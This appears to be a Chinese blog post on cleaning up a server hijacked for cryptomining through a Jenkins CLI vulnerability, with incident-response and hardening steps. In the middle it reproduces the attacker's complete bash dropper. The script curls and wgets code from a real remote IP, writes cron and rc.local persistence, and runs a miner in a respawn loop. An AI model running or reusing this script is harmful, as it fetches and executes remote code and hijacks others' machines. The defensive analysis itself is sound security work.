1. 程式人生 > >?服務器被黑處理過程

?服務器被黑處理過程

one amp 方法 服務器 iter 破解 lib con 操作

突然手機報警就響了,顯示負載高,立即登錄服務器查看,第一眼的就識別到了,服務器被挖礦了。安全總是相對的,再安全的服務器也有可能遭受到攻擊。作為一個安全運維人員,要把握的原則是:盡量做好系統安全防護,修復所有已知的危險行為,同時,在系統遭受攻擊後能夠迅速有效地處理攻擊行為,最大限度地降低攻擊對系統產生的影響接下來是我整個解決思路。

如圖:發現通過jenkins用戶啟動挖礦程序

本次是由於jenkins漏洞導致,這個漏洞是Jenkins cli帶來的遠程執行漏洞,會被利用自動執行一個挖礦程序,導致你的服務器占用cpu率高


技術分享圖片

通過netstat -anp 找到挖礦程序連接的地址

技術分享圖片

1.1 過濾執行的腳本

通過服務器被挖礦,你kill上面的進程是不管用的,因為它這裏有一個後臺執行的腳本,腳本裏面寫的是一個死循環,你kill掉那個進程,休息五秒自己就起來了。之前我看過挖礦的腳本進行分析的。

技術分享圖片

這裏附上挖礦的腳本,大家可以自己分析下。

#!/bin/bash
 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
function kills() {
/bin/ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid
do
kill -9 $procid
done
crontab -l | sed '/212.237.2.23/d' | crontab -
crontab -l | sed '/94.177.187.110/d' | crontab -
pkill -f biosetjenkins
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs ps --ppid|awk '{print $1}'|grep -v PID|xargs kill -9
ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs kill -9
pkill -f 45.76.102.45
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f sleep
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f 108.61.186.224
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
ps -ef|grep '.so'|grep -v grep|cut -c 9-15|xargs kill -9;
pkill -f 45.76.146.166
pkill -f irqbalanc1
pkill -f 188.120.247.175
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
}
 
function writecrontab() {
       xcrontab=$(cat /etc/crontab | grep "http://207.246.68.21/rootv2.sh" | grep -v grep |wc -l)
       if [ $xcrontab -eq 0 ];then
        echo "0 0 * * *   root    curl http://207.246.68.21/rootv2.sh > /etc/root.sh ; wget -P /etc http://207.246.68.21/rootv2.sh ; rm /etc/root.sh.* ; bash /etc/root.sh &" >> /etc/crontab
       else
        echo ""
       fi
}
 
function writerc() {
       x=$(cat /etc/rc.local | grep "http://207.246.68.21/rootv2.sh" | grep -v grep | wc -l)
       if [ $x -eq 0 ];then
              $(sed -i "s/exit 0//g" /etc/rc.local)
              $(sed -i "s/bash /etc/root.sh//g" /etc/rc.local)
              echo "curl http://207.246.68.21/rootv2.sh > /etc/root.sh ; wget -P /etc http://207.246.68.21/rootv2.sh ; rm -rf /etc/root.sh.* ; bash /etc/root.sh" >> /etc/rc.local
              echo "exit 0" >> /etc/rc.local
       else
              echo ""
       fi
}
 
function hugepage() {
       echo 128 > /proc/sys/vm/nr_hugepages
       sysctl -w vm.nr_hugepages=128
}
 
function downloadyam() {
       if [ ! -f "sourplum" ] ;then
              curl http://207.246.68.21/sourplum > sourplum && chmod +x sourplum
              if [ ! -f "sourplum" ] ;then
                     wget http://207.246.68.21/sourplum && chmod +x sourplum
                     rm -rf sourplum.* #這個是刪除假的   沒有用 
              fi
              ./sourplum &  #最後的目的是執行這個文件 
       else
              writecrontab
              writerc
              p=$(ps aux | grep sourplum | grep -v grep | wc -l)
              if [ ${p} -eq 1 ];then
                     echo "sourplum"
              elif [ ${p} -eq 0 ];then
                     ./sourplum &
              else
                     echo ""
              fi
       fi
}
 
hugepage
 
while [ 1 ]
do
       kills
       downloadyam
       sleep 5
done

1.2 檢查定時任務

技術分享圖片

切記,這裏只是查看的當前的定時任務,還要檢查cat /etc/crontab 配置文件,很多時候,它是添加到了配置文件

技術分享圖片

1.3 檢查rc.local

技術分享圖片

1.4 檢查history操作歷史

1.5 檢查登錄日誌及系統日誌

/var/log/secure 登錄安全日誌
/var/log/message  系統日誌

1.6 處理服務器被黑的幾種思路

1、處理服務器遭受攻擊的一般思路
系統遭受攻擊並不可怕,可怕的是面對攻擊束手無策,下面就詳細介紹下在服務器遭受攻擊後的一般處理思路。
(1)切斷網絡 所有的攻擊都來自於網絡,因此,在得知系統正遭受黑客的攻擊後,首先要做的就是斷開服務器的網絡連接,這樣除了能切斷攻擊源之外,也能保護服務器所在網絡的其他主機。
(2)查找攻擊源 可以通過分析系統日誌或登錄日誌文件,查看可疑信息,同時也要查看系統都打開了哪些端口,運行哪些進程,並通過這些進程分析哪些是可疑的程序。這個過程要根據經驗和綜合判斷能力進行追查和分析。下面會詳細介紹這個過程的處理思路。
(3)分析入侵原因和途徑 既然系統遭到入侵,那麽原因是多方面的,可能是系統漏洞,也可能是程序漏洞,一定要查清楚是哪個原因導致的,並且還要查清楚遭到攻擊的途徑,找到攻擊源,因為只有知道了遭受攻擊的原因和途徑,才能刪除攻擊源同時進行漏洞的修復。
(4)備份用戶數據 在服務器遭受攻擊後,需要立刻備份服務器上的用戶數據,同時也要查看這些數據中是否隱藏著攻擊源。如果攻擊源在用戶數據中,一定要徹底刪除,然後將用戶數據備份到一個安全的地方。
(5)重新安裝系統 永遠不要認為自己能徹底清除攻擊源,因為沒有人能比黑客更了解攻擊程序,在服務器遭到攻擊後,最安全也最簡單的方法就是重新安裝系統,因為大部分攻擊程序都會依附在系統文件或者內核中,所以重新安裝系統才能徹底清除攻擊源。
(6)修復程序或系統漏洞 在發現系統漏洞或者應用程序漏洞後,首先要做的就是修復系統漏洞或者更改程序bug,因為只有將程序的漏洞修復完畢才能正式在服務器上運行。
(7)恢復數據和連接網絡 將備份的數據重新復制到新安裝的服務器上,然後開啟服務,最後將服務器開啟網絡連接,對外提供服務。
2、檢查並鎖定可疑用戶
當發現服務器遭受攻擊後,首先要切斷網絡連接,但是在有些情況下,比如無法馬上切斷網絡連接時,就必須登錄系統查看是否有可疑用戶,如果有可疑用戶登錄了系統,那麽需要馬上將這個用戶鎖定,然後中斷此用戶的遠程連接。

1.7 對系統進行安全防護

1.     修改默認賬號密碼及端口如(sshd)
2.     隱藏真實服務器的外網地址,及外網暴露端口盡可能的少
3.     取消不必要的服務 
4.     升級Jenkins CLI
5.     對web進行代碼審計,防止SQL註入
6.     限制系統的登錄
7.     進行防火墻安全設置 
8.     防止SSH等暴力破解


1.8 挖礦病毒的原理分析

1.     通過定時任務去下載遠程的腳本程序
2.     通過腳本,執行守護進程程序,占用服務器資源cpu
3.     發現占用進程的程序kill掉,它會自動起來,找到執行腳本,殺掉根源。切記對定時任務和rc.local進行檢查和可以進程。



?服務器被黑處理過程